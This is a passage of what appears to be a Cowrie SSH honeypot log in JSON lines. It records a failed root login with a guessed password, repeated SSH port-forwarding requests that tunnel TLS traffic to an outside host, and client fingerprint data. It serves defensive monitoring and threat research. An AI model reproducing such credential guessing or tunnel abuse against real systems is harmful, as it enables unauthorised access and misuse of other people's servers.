yDUAFuNVWxjUuuErdqsz72BmOc3tBz70%2FHMRwvWe4e1fSYdMdFS6VACgnnfIOxjHIAI4ma19WUjcleZm%2FhhcrugbqXePP8X447onsrSQuHhY5GXbi6Nh5noO%2FbpssvCIC%2BIpnYy0MsQcISaNBpvJpydmI7p6VyoBWPo8Fu%2Fj4XW7VnmZXJjOf6dWR4Qt0upO6MgKAGtihpNEYH07TDd4%2FyoKv%2BEPWosemx82w7fX0q48servriTcH2nSxK4fl7g%2BjzjJDIkb8g6D8BMSDY%2BZ4Vm1d64jzjCA4D2KAVnaLNUFuwgFIcCC9Wah%2Fj5sr7n1%2F2LFH%2BZiDTdOrHN97ogqJO9f17gkThD%2FC3aRkw41pEr5CMQPZ7lA%2FLeyxyxhDGJr9jb%2BLMNiU1g%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:14.480919Z","src_ip":"23.175.50.47","session":"14b03af5a3f8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:14.506449Z","session":"14b03af5a3f8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:14.511109Z","session":"14b03af5a3f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa112233","message":"login attempt [root/Aa112233] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:14.526647Z","src_ip":"45.153.34.195","session":"c3e73c19c096","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:14.595436Z","src_ip":"23.175.50.47","session":"14b03af5a3f8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x14\\x04\\xe8\\xdf\\xe3\\xac\\x86\\x98\\x13T\\xdac\\xb0\\x00\\xa4\\xae\\xb1c\\xed,\\xdd\\xe0\\xe1h\\xde\\xf9\\x16\\x86\\xfc2#m \\xc5\\xc7\\xc4\\xb0\\xbe\\xd7tAxl\\xb1go\\xb7:\\xca)\\xc7\\x97\\x98\\xb8\\x02A\\x96B\\xe7\\x9e\\'\\x9b\\x8cyk\\x00\"**\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\xe0\\xcbl\\xf2\\x04\\xc7N\\xce\\x9c\\x8d\\xca`z\\x80\\xb9\\xca\\x1eL\\xc6\\x91\\xbe\\xa9HS\\x8b\\xe5\\xdb\\xd7\\xfe.Wq\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x14\\x04\\xe8\\xdf\\xe3\\xac\\x86\\x98\\x13T\\xdac\\xb0\\x00\\xa4\\xae\\xb1c\\xed,\\xdd\\xe0\\xe1h\\xde\\xf9\\x16\\x86\\xfc2#m \\xc5\\xc7\\xc4\\xb0\\xbe\\xd7tAxl\\xb1go\\xb7:\\xca)\\xc7\\x97\\x98\\xb8\\x02A\\x96B\\xe7\\x9e\\'\\x9b\\x8cyk\\x00\"**\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\xe0\\xcbl\\xf2\\x04\\xc7N\\xce\\x9c\\x8d\\xca`z\\x80\\xb9\\xca\\x1eL\\xc6\\x91\\xbe\\xa9HS\\x8b\\xe5\\xdb\\xd7\\xfe.Wq\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:14.599107Z","src_ip":"23.175.50.47","session":"14b03af5a3f8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:14.606176Z","src_ip":"23.175.50.47","session":"14b03af5a3f8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf5K\\x9b\\xb5\\xc9\\xe9\\x81UWl\\x90\\xaf8\\xeaD}uh\\x90\\xde\\x1e\\xeb\\x18u\\xdc\\xeb%\\x95\\xfa`\\xe5\\x0b \\x9d\\xc9q\\xfef)/>e\\x0593\\xb1\\xfa\\xfd\\xa4\\xac\\x8c\\x1b\\xde\\x1auh\\x85\\xf68\\xf1\\x11\\xef@\\x8eS\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\x9b\\xd0\\xb5\\r\\x97[\\xc34cq\\xc4ct\\xc0\\xe8\\xcch:\\x99\\xad[\\xc12b\\xe4\\x9d\\xaaU\\xd8*\\xc3t\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":3,"message":"discarded direct-tcp forward request 3 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf5K\\x9b\\xb5\\xc9\\xe9\\x81UWl\\x90\\xaf8\\xeaD}uh\\x90\\xde\\x1e\\xeb\\x18u\\xdc\\xeb%\\x95\\xfa`\\xe5\\x0b \\x9d\\xc9q\\xfef)/>e\\x0593\\xb1\\xfa\\xfd\\xa4\\xac\\x8c\\x1b\\xde\\x1auh\\x85\\xf68\\xf1\\x11\\xef@\\x8eS\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\x9b\\xd0\\xb5\\r\\x97[\\xc34cq\\xc4ct\\xc0\\xe8\\xcch:\\x99\\xad[\\xc12b\\xe4\\x9d\\xaaU\\xd8*\\xc3t\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:14.608989Z","src_ip":"23.175.50.47","session":"14b03af5a3f8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:14.743906Z","session":"14b03af5a3f8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:14.804858Z","src_ip":"23.175.50.47","session":"14b03af5a3f8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd1\\x8e\\x0c\\x1b\\x1e\\xe4\\x13y\\x80\\xd2\\x00\\xcc6{s%\\xee\\xc1\\x9a\"`\\x07Z\\x80|\\x90\\xc5G\\xc0\\xff,\\x00 \\xbe\\x18 \\xaeY\\x0e>\\xe8k\\xe5\\x0bp\\xf3\\xb6A\\xc6\\xfd}\\xd2As\\x88u\\x11\\xef`c\\xd7}\\xca\\x85\\xb4\\x00\"\\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\x93\\x0b\\xd5\\xfb\\xd9\\x18\\xd1\\xd2a\\xba\\xf9\\xf4\\xe5\\x02\\xc6\\xce\\xa0\\xe8\\xb9o\\xbcQ\\x10\\xd8\\x8c\\xd5\\xa1t\\xba6\\x83:\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":4,"message":"discarded direct-tcp forward request 4 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd1\\x8e\\x0c\\x1b\\x1e\\xe4\\x13y\\x80\\xd2\\x00\\xcc6{s%\\xee\\xc1\\x9a\"`\\x07Z\\x80|\\x90\\xc5G\\xc0\\xff,\\x00 \\xbe\\x18 \\xaeY\\x0e>\\xe8k\\xe5\\x0bp\\xf3\\xb6A\\xc6\\xfd}\\xd2As\\x88u\\x11\\xef`c\\xd7}\\xca\\x85\\xb4\\x00\"\\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\x93\\x0b\\xd5\\xfb\\xd9\\x18\\xd1\\xd2a\\xba\\xf9\\xf4\\xe5\\x02\\xc6\\xce\\xa0\\xe8\\xb9o\\xbcQ\\x10\\xd8\\x8c\\xd5\\xa1t\\xba6\\x83:\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:14.815499Z","src_ip":"23.175.50.47","session":"14b03af5a3f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:15.612875Z","src_ip":"45.153.34.195","session":"c3e73c19c096","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":42364,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d54bce7ddc4","protocol":"ssh","message":"New connection: 45.153.34.195:42364 (10.17.0.5:22) [session: 0d54bce7ddc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:17.019696Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:17.024740Z","src_ip":"45.153.34.195","session":"0d54bce7ddc4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@opens